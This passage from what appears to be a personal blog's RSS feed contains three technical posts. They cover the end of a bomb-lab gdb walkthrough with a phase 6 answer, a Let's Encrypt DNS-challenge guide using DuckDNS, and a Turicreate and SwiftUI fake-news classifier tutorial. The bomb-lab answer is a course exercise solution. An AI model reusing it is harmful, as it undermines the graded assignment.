That's number 2. Keep going!
Halfway there!
So you got that one. Try this one.
Good work! On to the next...
5 1 2 4 6 3
Breakpoint 1, 0x0000555555555899 in phase_6 ()
(gdb) continue
Continuing.
Congratulations! You've defused the bomb!
Your instructor has been notified and will verify your solution.
[Inferior 1 (process 1754) exited normally]
</code></pre>
<p>But, what about the secret phase?</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-11-17-Lets-Encrypt-DuckDns.html
</guid>
<title>
Generating HTTPS Certificate using DNS a Challenge through Let's Encrypt
</title>
<description>
Short code-snippet to generate HTTPS certificates using the DNS Challenge through Lets Encrypt for a web-server using DuckDNS.
</description>
<link>https://web.navan.dev/posts/2020-11-17-Lets-Encrypt-DuckDns.html</link>
<pubDate>Tue, 17 Nov 2020 15:04:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="generating-https-certificate-using-dns-a-challenge-through-lets-encrypt">Generating HTTPS Certificate using DNS a Challenge through Let's Encrypt</h1>
<p>I have a Raspberry-Pi running a Flask app through Gunicorn (Ubuntu 20.04 LTS). I am exposing it to the internet using DuckDNS.</p>
<h2 id="dependencies">Dependencies</h2>
<div class="codehilite">
<pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>update<span class="w"> </span><span class="o">&&</span><span class="w"> </span>sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>certbot<span class="w"> </span>-y
</code></pre>
</div>
<h2 id="get-the-certificate">Get the Certificate</h2>
<div class="codehilite">
<pre><span></span><code>sudo<span class="w"> </span>certbot<span class="w"> </span>certonly<span class="w"> </span>--manual<span class="w"> </span>--preferred-challenges<span class="w"> </span>dns-01<span class="w"> </span>--email<span class="w"> </span>senpai@email.com<span class="w"> </span>-d<span class="w"> </span>mydomain.duckdns.org
</code></pre>
</div>
<p>After you accept that you are okay with you IP address being logged, it will prompt you with updating your dns record. You need to create a new <code>TXT</code> record in the DNS settings for your domain.</p>
<p>For DuckDNS users it is as simple as entering this URL in their browser:</p>
<pre><code>http://duckdns.org/update?domains=mydomain&token=duckdnstoken&txt=certbotdnstxt
</code></pre>
<p>Where <code>mydomain</code> is your DuckDNS domain, <code>duckdnstoken</code> is your DuckDNS Token ( Found on the dashboard when you login) and <code>certbotdnstxt</code> is the TXT record value given by the prompt.</p>
<p>You can check if the TXT records have been updated by using the <code>dig</code> command:</p>
<div class="codehilite">
<pre><span></span><code>dig<span class="w"> </span>navanspi.duckdns.org<span class="w"> </span>TXT
<span class="p">;</span><span class="w"> </span><<>><span class="w"> </span>DiG<span class="w"> </span><span class="m">9</span>.16.1-Ubuntu<span class="w"> </span><<>><span class="w"> </span>navanspi.duckdns.org<span class="w"> </span>TXT
<span class="p">;;</span><span class="w"> </span>global<span class="w"> </span>options:<span class="w"> </span>+cmd
<span class="p">;;</span><span class="w"> </span>Got<span class="w"> </span>answer:
<span class="p">;;</span><span class="w"> </span>->>HEADER<span class="s"><<- opco</span>de:<span class="w"> </span>QUERY,<span class="w"> </span>status:<span class="w"> </span>NOERROR,<span class="w"> </span>id:<span class="w"> </span><span class="m">27592</span>
<span class="p">;;</span><span class="w"> </span>flags:<span class="w"> </span>qr<span class="w"> </span>rd<span class="w"> </span>ra<span class="p">;</span><span class="w"> </span>QUERY:<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>ANSWER:<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>AUTHORITY:<span class="w"> </span><span class="m">0</span>,<span class="w"> </span>ADDITIONAL:<span class="w"> </span><span class="m">1</span>
<span class="p">;;</span><span class="w"> </span>OPT<span class="w"> </span>PSEUDOSECTION:
<span class="p">;</span><span class="w"> </span>EDNS:<span class="w"> </span>version:<span class="w"> </span><span class="m">0</span>,<span class="w"> </span>flags:<span class="p">;</span><span class="w"> </span>udp:<span class="w"> </span><span class="m">65494</span>
<span class="p">;;</span><span class="w"> </span>QUESTION<span class="w"> </span>SECTION:
<span class="p">;</span>navanspi.duckdns.org.<span class="w"> </span>IN<span class="w"> </span>TXT
<span class="p">;;</span><span class="w"> </span>ANSWER<span class="w"> </span>SECTION:
navanspi.duckdns.org.<span class="w"> </span><span class="m">60</span><span class="w"> </span>IN<span class="w"> </span>TXT<span class="w"> </span><span class="s2">"4OKbijIJmc82Yv2NiGVm1RmaBHSCZ_230qNtj9YA-qk"</span>
<span class="p">;;</span><span class="w"> </span>Query<span class="w"> </span>time:<span class="w"> </span><span class="m">275</span><span class="w"> </span>msec
<span class="p">;;</span><span class="w"> </span>SERVER:<span class="w"> </span><span class="m">127</span>.0.0.53#53<span class="o">(</span><span class="m">127</span>.0.0.53<span class="o">)</span>
<span class="p">;;</span><span class="w"> </span>WHEN:<span class="w"> </span>Tue<span class="w"> </span>Nov<span class="w"> </span><span class="m">17</span><span class="w"> </span><span class="m">15</span>:23:15<span class="w"> </span>IST<span class="w"> </span><span class="m">2020</span>
<span class="p">;;</span><span class="w"> </span>MSG<span class="w"> </span>SIZE<span class="w"> </span>rcvd:<span class="w"> </span><span class="m">105</span>
</code></pre>
</div>
<p>DuckDNS almost instantly propagates the changes but for other domain hosts, it could take a while. </p>
<p>Once you can ensure that the TXT record changes has been successfully applied and is visible through the <code>dig</code> command, press enter on the Certbot prompt and your certificate should be generated.</p>
<h2 id="renewing">Renewing</h2>
<p>As we manually generated the certificate <code>certbot renew</code> will fail, to renew the certificate you need to simply re-generate the certificate using the above steps.</p>
<h2 id="using-the-certificate-with-gunicorn">Using the Certificate with Gunicorn</h2>
<p>Example Gunicorn command for running a web-app:</p>
<div class="codehilite">
<pre><span></span><code>gunicorn<span class="w"> </span>api:app<span class="w"> </span>-k<span class="w"> </span>uvicorn.workers.UvicornWorker<span class="w"> </span>-b<span class="w"> </span><span class="m">0</span>.0.0.0:7589
</code></pre>
</div>
<p>To use the certificate with it, simply copy the <code>cert.pem</code> and <code>privkey.pem</code> to your working directory ( change the appropriate permissions ) and include them in the command</p>
<div class="codehilite">
<pre><span></span><code>gunicorn<span class="w"> </span>api:app<span class="w"> </span>-k<span class="w"> </span>uvicorn.workers.UvicornWorker<span class="w"> </span>-b<span class="w"> </span><span class="m">0</span>.0.0.0:7589<span class="w"> </span>--certfile<span class="o">=</span>cert.pem<span class="w"> </span>--keyfile<span class="o">=</span>privkey.pem
</code></pre>
</div>
<p>Caveats with copying the certificate: If you renew the certificate you will have to re-copy the files</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-12-22-Fake-News-Detector.html
</guid>
<title>
Building a Fake News Detector with Turicreate
</title>
<description>
In this tutorial we will build a fake news detecting app from scratch, using Turicreate for the machine learning model and SwiftUI for building the app
</description>
<link>https://web.navan.dev/posts/2019-12-22-Fake-News-Detector.html</link>
<pubDate>Sun, 22 Dec 2019 11:10:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="building-a-fake-news-detector-with-turicreate">Building a Fake News Detector with Turicreate</h1>
<p><strong>In this tutorial we will build a fake news detecting app from scratch, using Turicreate for the machine learning model and SwiftUI for building the app</strong></p>
<p>Note: These commands are written as if you are running a jupyter notebook.</p>
<h2 id="building-the-machine-learning-model">Building the Machine Learning Model</h2>
<h3 id="data-gathering">Data Gathering</h3>
<p>To build a classifier, you need a lot of data. George McIntire (GH: @joolsa) has created a wonderful dataset containing the headline, body and whether it is fake or real.
Whenever you are looking for a dataset, always try searching on Kaggle and GitHub before you start building your own</p>
<h3 id="dependencies">Dependencies</h3>
<p>I used a Google Colab instance for training my model. If you also plan on using Google Colab then I recommend choosing a GPU Instance (It is Free)
This allows you to train the model on the GPU. Turicreate is built on top of Apache's MXNet Framework, for us to use GPU we need to install
a CUDA compatible MXNet package.</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">!pip</span><span class="na"> install turicreate</span>
<span class="na">!pip uninstall -y mxnet</span>
<span class="na">!pip install mxnet-cu100==1.4.0.post0</span>
</code></pre>
</div>
<p>If you do not wish to train on GPU or are running it on your computer, you can ignore the last two lines</p>
<h3 id="downloading-the-dataset">Downloading the Dataset</h3>
<div class="codehilite">
<pre><span></span><code><span class="nt">!wget</span><span class="na"> -q "https</span><span class="p">:</span><span class="nc">//github.com/joolsa/fake_real_news_dataset/raw/master/fake_or_real_news.csv.zip"</span>
<span class="nt">!unzip</span><span class="na"> fake_or_real_news.csv.zip</span>
</code></pre>
</div>
<h3 id="model-creation">Model Creation</h3>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">turicreate</span> <span class="k">as</span> <span class="nn">tc</span>
<span class="n">tc</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">set_num_gpus</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># If you do not wish to use GPUs, set it to 0</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">dataSFrame</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">SFrame</span><span class="p">(</span><span class="s1">'fake_or_real_news.csv'</span><span class="p">)</span>
</code></pre>
</div>
<p>The dataset contains a column named "X1", which is of no use to us. Therefore, we simply drop it</p>
<div class="codehilite">
<pre><span></span><code><span class="n">dataSFrame</span><span class="o">.</span><span class="n">remove_column</span><span class="p">(</span><span class="s1">'X1'</span><span class="p">)</span>
</code></pre>
</div>
<h4 id="splitting-dataset">Splitting Dataset</h4>
<div class="codehilite">
<pre><span></span><code><span class="n">train</span><span class="p">,</span> <span class="n">test</span> <span class="o">=</span> <span class="n">dataSFrame</span><span class="o">.</span><span class="n">random_split</span><span class="p">(</span><span class="mf">.9</span><span class="p">)</span>
</code></pre>
</div>
<h4 id="training">Training</h4>
<div class="codehilite">
<pre><span></span><code><span class="n">model</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">text_classifier</span><span class="o">.</span><span class="n">create</span><span class="p">(</span>
<span class="n">dataset</span><span class="o">=</span><span class="n">train</span><span class="p">,</span>
<span class="n">target</span><span class="o">=</span><span class="s1">'label'</span><span class="p">,</span>
<span class="n">features</span><span class="o">=</span><span class="p">[</span><span class="s1">'title'</span><span class="p">,</span><span class="s1">'text'</span><span class="p">]</span>
<span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="o">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="o">|</span> <span class="n">Iteration</span> <span class="o">|</span> <span class="n">Passes</span> <span class="o">|</span> <span class="n">Step</span> <span class="n">size</span> <span class="o">|</span> <span class="n">Elapsed</span> <span class="n">Time</span> <span class="o">|</span> <span class="n">Training</span> <span class="n">Accuracy</span> <span class="o">|</span> <span class="n">Validation</span> <span class="n">Accuracy</span> <span class="o">|</span>
<span class="o">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="o">|</span> <span class="mi">0</span> <span class="o">|</span> <span class="mi">2</span> <span class="o">|</span> <span class="mf">1.000000</span> <span class="o">|</span> <span class="mf">1.156349</span> <span class="o">|</span> <span class="mf">0.889680</span> <span class="o">|</span> <span class="mf">0.790036</span> <span class="o">|</span>
<span class="o">|</span> <span class="mi">1</span> <span class="o">|</span> <span class="mi">4</span> <span class="o">|</span> <span class="mf">1.000000</span> <span class="o">|</span> <span class="mf">1.359196</span> <span class="o">|</span> <span class="mf">0.985952</span> <span class="o">|</span> <span class="mf">0.918149</span> <span class="o">|</span>
<span class="o">|</span> <span class="mi">2</span> <span class="o">|</span> <span class="mi">6</span> <span class="o">|</span> <span class="mf">0.820091</span> <span class="o">|</span> <span class="mf">1.557205</span> <span class="o">|</span> <span class="mf">0.990260</span> <span class="o">|</span> <span class="mf">0.914591</span> <span class="o">|</span>
<span class="o">|</span> <span class="mi">3</span> <span class="o">|</span> <span class="mi">7</span> <span class="o">|</span> <span class="mf">1.000000</span> <span class="o">|</span> <span class="mf">1.684872</span> <span class="o">|</span> <span class="mf">0.998689</span> <span class="o">|</span> <span class="mf">0.925267</span> <span class="o">|</span>
<span class="o">|</span> <span class="mi">4</span> <span class="o">|</span> <span class="mi">8</span> <span class="o">|</span> <span class="mf">1.000000</span> <span class="o">|</span> <span class="mf">1.814194</span> <span class="o">|</span> <span class="mf">0.999063</span> <span class="o">|</span> <span class="mf">0.925267</span> <span class="o">|</span>
<span class="o">|</span> <span class="mi">9</span> <span class="o">|</span> <span class="mi">14</span> <span class="o">|</span> <span class="mf">1.000000</span> <span class="o">|</span> <span class="mf">2.507072</span> <span class="o">|</span> <span class="mf">1.000000</span> <span class="o">|</span> <span class="mf">0.911032</span> <span class="o">|</span>
<span class="o">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
</code></pre>
</div>
<h3 id="testing-the-model">Testing the Model</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">est_predictions</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">test</span><span class="p">)</span>
<span class="n">accuracy</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">evaluation</span><span class="o">.</span><span class="n">accuracy</span><span class="p">(</span><span class="n">test</span><span class="p">[</span><span class="s1">'label'</span><span class="p">],</span> <span class="n">test_predictions</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'Topic classifier model has a testing accuracy of </span><span class="si">{</span><span class="n">accuracy</span><span class="o">*</span><span class="mi">100</span><span class="si">}</span><span class="s1">% '</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">Topic</span> <span class="n">classifier</span> <span class="n">model</span> <span class="n">has</span> <span class="n">a</span> <span class="n">testing</span> <span class="n">accuracy</span> <span class="n">of</span> <span class="mf">92.3076923076923</span><span class="o">%</span>
</code></pre>
</div>
<p>We have just created our own Fake News Detection Model which has an accuracy of 92%!</p>
<div class="codehilite">
<pre><span></span><code><span class="n">example_text</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"title"</span><span class="p">:</span> <span class="p">[</span><span class="s2">"Middling ‘Rise Of Skywalker’ Review Leaves Fan On Fence About Whether To Threaten To Kill Critic"</span><span class="p">],</span> <span class="s2">"text"</span><span class="p">:</span> <span class="p">[</span><span class="s2">"Expressing ambivalence toward the relatively balanced appraisal of the film, Star Wars fan Miles Ariely admitted Thursday that an online publication’s middling review of The Rise Of Skywalker had left him on the fence about whether he would still threaten to kill the critic who wrote it. “I’m really of two minds about this, because on the one hand, he said the new movie fails to live up to the original trilogy, which makes me at least want to throw a brick through his window with a note telling him to watch his back,” said Ariely, confirming he had already drafted an eight-page-long death threat to Stan Corimer of the website Screen-On Time, but had not yet decided whether to post it to the reviewer’s Facebook page. “On the other hand, though, he commended J.J. Abrams’ skillful pacing and faithfulness to George Lucas’ vision, which makes me wonder if I should just call the whole thing off. Now, I really don’t feel like camping outside his house for hours. Maybe I could go with a response that’s somewhere in between, like, threatening to kill his dog but not everyone in his whole family? I don’t know. This is a tough one.” At press time, sources reported that Ariely had resolved to wear his Ewok costume while he murdered the critic in his sleep."</span><span class="p">]}</span>
<span class="n">example_prediction</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">classify</span><span class="p">(</span><span class="n">tc</span><span class="o">.</span><span class="n">SFrame</span><span class="p">(</span><span class="n">example_text</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">example_prediction</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="o">+-------+--------------------+</span>
<span class="o">|</span> <span class="k">class</span> <span class="err">| </span><span class="nc">probability</span> <span class="o">|</span>
<span class="o">+-------+--------------------+</span>
<span class="o">|</span> <span class="n">FAKE</span> <span class="o">|</span> <span class="mf">0.9245648658345308</span> <span class="o">|</span>
<span class="o">+-------+--------------------+</span>
<span class="p">[</span><span class="mi">1</span> <span class="n">rows</span> <span class="n">x</span> <span class="mi">2</span> <span class="n">columns</span><span class="p">]</span>
</code></pre>
</div>
<h3 id="exporting-the-model">Exporting the Model</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">model_name</span> <span class="o">=</span> <span class="s1">'FakeNews'</span>
<span class="n">coreml_model_name</span> <span class="o">=</span> <span class="n">model_name</span> <span class="o">+</span> <span class="s1">'.mlmodel'</span>
<span class="n">exportedModel</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">export_coreml</span><span class="p">(</span><span class="n">coreml_model_name</span><span class="p">)</span>
</code></pre>
</div>
<p><strong>Note: To download files from Google Colab, simply click on the files section in the sidebar, right click on filename and then click on download</strong></p>
<p><a rel="noopener" target="_blank" href="https://colab.research.google.com/drive/1onMXGkhA__X2aOFdsoVL-6HQBsWQhOP4">Link to Colab Notebook</a></p>
<h2 id="building-the-app-using-swiftui">Building the App using SwiftUI</h2>
<h3 id="initial-setup">Initial Setup</h3>
<p>First we create a single view app (make sure you check the use SwiftUI button)</p>
<p>Then we copy our .mlmodel file to our project (Just drag and drop the file in the XCode Files Sidebar)</p>
<p>Our ML Model does not take a string directly as an input, rather it takes bag of words as an input.
DescriptionThe bag-of-words model is a simplifying representation used in NLP, in this text is represented as a bag of words, without any regard for grammar or order, but noting multiplicity</p>
<p>We define our bag of words function</p>
<div class="codehilite">
<pre><span></span><code><span class="kd">func</span> <span class="nf">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">String</span><span class="p">)</span> <span class="p">-></span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nv">bagOfWords</span> <span class="p">=</span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]()</span>
<span class="kd">let</span> <span class="nv">tagger</span> <span class="p">=</span> <span class="bp">NSLinguisticTagger</span><span class="p">(</span><span class="n">tagSchemes</span><span class="p">:</span> <span class="p">[.</span><span class="n">tokenType</span><span class="p">],</span> <span class="n">options</span><span class="p">:</span> <span class="mi">0</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">range</span> <span class="p">=</span> <span class="n">NSRange</span><span class="p">(</span><span class="n">location</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="n">length</span><span class="p">:</span> <span class="n">text</span><span class="p">.</span><span class="n">utf16</span><span class="p">.</span><span class="bp">count</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">options</span><span class="p">:</span> <span class="bp">NSLinguisticTagger</span><span class="p">.</span><span class="n">Options</span> <span class="p">=</span> <span class="p">[.</span><span class="n">omitPunctuation</span><span class="p">,</span> <span class="p">.</span><span class="n">omitWhitespace</span><span class="p">]</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">string</span> <span class="p">=</span> <span class="n">text</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">enumerateTags</span><span class="p">(</span><span class="k">in</span><span class="p">:</span> <span class="n">range</span><span class="p">,</span> <span class="n">unit</span><span class="p">:</span> <span class="p">.</span><span class="n">word</span><span class="p">,</span> <span class="n">scheme</span><span class="p">:</span> <span class="p">.</span><span class="n">tokenType</span><span class="p">,</span> <span class="n">options</span><span class="p">:</span> <span class="n">options</span><span class="p">)</span> <span class="p">{</span> <span class="kc">_</span><span class="p">,</span> <span class="n">tokenRange</span><span class="p">,</span> <span class="kc">_</span> <span class="k">in</span>
<span class="kd">let</span> <span class="nv">word</span> <span class="p">=</span> <span class="p">(</span><span class="n">text</span> <span class="k">as</span> <span class="bp">NSString</span><span class="p">).</span><span class="n">substring</span><span class="p">(</span><span class="n">with</span><span class="p">:</span> <span class="n">tokenRange</span><span class="p">)</span>
<span class="k">if</span> <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
<span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span><span class="o">!</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="p">=</span> <span class="mi">1</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">bagOfWords</span>
<span class="p">}</span>
</code></pre>
</div>
<p>We also declare our variables</p>
<div class="codehilite">
<pre><span></span><code><span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">title</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">headline</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertTitle</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertText</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">showingAlert</span> <span class="p">=</span> <span class="kc">false</span>
</code></pre>
</div>
<p>Finally, we implement a simple function which reads the two text fields, creates their bag of words representation and displays an alert with the appropriate result</p>
<p><strong>Complete Code</strong></p>
<div class="codehilite">
<pre><span></span><code><span class="kd">import</span> <span class="nc">SwiftUI</span>
<span class="kd">struct</span> <span class="nc">ContentView</span><span class="p">:</span> <span class="n">View</span> <span class="p">{</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">title</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">headline</span><span class="p">:</span> <span class="nb">String</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertTitle</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">alertText</span> <span class="p">=</span> <span class="s">""</span>
<span class="p">@</span><span class="n">State</span> <span class="kd">private</span> <span class="kd">var</span> <span class="nv">showingAlert</span> <span class="p">=</span> <span class="kc">false</span>
<span class="kd">var</span> <span class="nv">body</span><span class="p">:</span> <span class="n">some</span> <span class="n">View</span> <span class="p">{</span>
<span class="n">NavigationView</span> <span class="p">{</span>
<span class="n">VStack</span><span class="p">(</span><span class="n">alignment</span><span class="p">:</span> <span class="p">.</span><span class="n">leading</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Text</span><span class="p">(</span><span class="s">"Headline"</span><span class="p">).</span><span class="n">font</span><span class="p">(.</span><span class="n">headline</span><span class="p">)</span>
<span class="n">TextField</span><span class="p">(</span><span class="s">"Please Enter Headline"</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="err">$</span><span class="n">title</span><span class="p">)</span>
<span class="p">.</span><span class="n">lineLimit</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
<span class="n">Text</span><span class="p">(</span><span class="s">"Body"</span><span class="p">).</span><span class="n">font</span><span class="p">(.</span><span class="n">headline</span><span class="p">)</span>
<span class="n">TextField</span><span class="p">(</span><span class="s">"Please Enter the content"</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="err">$</span><span class="n">headline</span><span class="p">)</span>
<span class="p">.</span><span class="n">lineLimit</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">.</span><span class="n">navigationBarTitle</span><span class="p">(</span><span class="s">"Fake News Checker"</span><span class="p">)</span>
<span class="p">.</span><span class="n">navigationBarItems</span><span class="p">(</span><span class="n">trailing</span><span class="p">:</span>
<span class="n">Button</span><span class="p">(</span><span class="n">action</span><span class="p">:</span> <span class="n">classifyFakeNews</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Text</span><span class="p">(</span><span class="s">"Check"</span><span class="p">)</span>
<span class="p">})</span>
<span class="p">.</span><span class="n">padding</span><span class="p">()</span>
<span class="p">.</span><span class="n">alert</span><span class="p">(</span><span class="n">isPresented</span><span class="p">:</span> <span class="err">$</span><span class="n">showingAlert</span><span class="p">){</span>
<span class="n">Alert</span><span class="p">(</span><span class="n">title</span><span class="p">:</span> <span class="n">Text</span><span class="p">(</span><span class="n">alertTitle</span><span class="p">),</span> <span class="n">message</span><span class="p">:</span> <span class="n">Text</span><span class="p">(</span><span class="n">alertText</span><span class="p">),</span> <span class="n">dismissButton</span><span class="p">:</span> <span class="p">.</span><span class="k">default</span><span class="p">(</span><span class="n">Text</span><span class="p">(</span><span class="s">"OK"</span><span class="p">)))</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kd">func</span> <span class="nf">classifyFakeNews</span><span class="p">(){</span>
<span class="kd">let</span> <span class="nv">model</span> <span class="p">=</span> <span class="n">FakeNews</span><span class="p">()</span>
<span class="kd">let</span> <span class="nv">myTitle</span> <span class="p">=</span> <span class="n">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="n">title</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">myText</span> <span class="p">=</span> <span class="n">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="n">headline</span><span class="p">)</span>
<span class="k">do</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nv">prediction</span> <span class="p">=</span> <span class="k">try</span> <span class="n">model</span><span class="p">.</span><span class="n">prediction</span><span class="p">(</span><span class="n">title</span><span class="p">:</span> <span class="n">myTitle</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="n">myText</span><span class="p">)</span>
<span class="n">alertTitle</span> <span class="p">=</span> <span class="n">prediction</span><span class="p">.</span><span class="n">label</span>
<span class="n">alertText</span> <span class="p">=</span> <span class="s">"It is likely that this piece of news is </span><span class="si">\(</span><span class="n">prediction</span><span class="p">.</span><span class="n">label</span><span class="p">.</span><span class="n">lowercased</span><span class="si">())</span><span class="s">."</span>
<span class="bp">print</span><span class="p">(</span><span class="n">alertText</span><span class="p">)</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
<span class="n">alertTitle</span> <span class="p">=</span> <span class="s">"Error"</span>
<span class="n">alertText</span> <span class="p">=</span> <span class="s">"Sorry, could not classify if the input news was fake or not."</span>
<span class="p">}</span>
<span class="n">showingAlert</span> <span class="p">=</span> <span class="kc">true</span>
<span class="p">}</span>
<span class="kd">func</span> <span class="nf">bow</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">String</span><span class="p">)</span> <span class="p">-></span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nv">bagOfWords</span> <span class="p">=</span> <span class="p">[</span><span class="nb">String</span><span class="p">:</span> <span class="nb">Double</span><span class="p">]()</span>
<span class="kd">let</span> <span class="nv">tagger</span> <span class="p">=</span> <span class="bp">NSLinguisticTagger</span><span class="p">(</span><span class="n">tagSchemes</span><span class="p">:</span> <span class="p">[.</span><span class="n">tokenType</span><span class="p">],</span> <span class="n">options</span><span class="p">:</span> <span class="mi">0</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">range</span> <span class="p">=</span> <span class="n">NSRange</span><span class="p">(</span><span class="n">location</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="n">length</span><span class="p">:</span> <span class="n">text</span><span class="p">.</span><span class="n">utf16</span><span class="p">.</span><span class="bp">count</span><span class="p">)</span>
<span class="kd">let</span> <span class="nv">options</span><span class="p">:</span> <span class="bp">NSLinguisticTagger</span><span class="p">.</span><span class="n">Options</span> <span class="p">=</span> <span class="p">[.</span><span class="n">omitPunctuation</span><span class="p">,</span> <span class="p">.</span><span class="n">omitWhitespace</span><span class="p">]</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">string</span> <span class="p">=</span> <span class="n">text</span>
<span class="n">tagger</span><span class="p">.</span><span class="n">enumerateTags</span><span class="p">(</span><span class="k">in</span><span class="p">:</span> <span class="n">range</span><span class="p">,</span> <span class="n">unit</span><span class="p">:</span> <span class="p">.</span><span class="n">word</span><span class="p">,</span> <span class="n">scheme</span><span class="p">:</span> <span class="p">.</span><span class="n">tokenType</span><span class="p">,</span> <span class="n">options</span><span class="p">:</span> <span class="n">options</span><span class="p">)</span> <span class="p">{</span> <span class="kc">_</span><span class="p">,</span> <span class="n">tokenRange</span><span class="p">,</span> <span class="kc">_</span> <span class="k">in</span>
<span class="kd">let</span> <span class="nv">word</span> <span class="p">=</span> <span class="p">(</span><span class="n">text</span> <span class="k">as</span> <span class="bp">NSString</span><span class="p">).</span><span class="n">substring</span><span class="p">(</span><span class="n">with</span><span class="p">:</span> <span class="n">tokenRange</span><span class="p">)</span>
<span class="k">if</span> <span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
<span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span><span class="o">!</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">bagOfWords</span><span class="p">[</span><span class="n">word</span><span class="p">]</span> <span class="p">=</span> <span class="mi">1</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">bagOfWords</span>
<span class="p">}</span>
<span class="p">}</span>
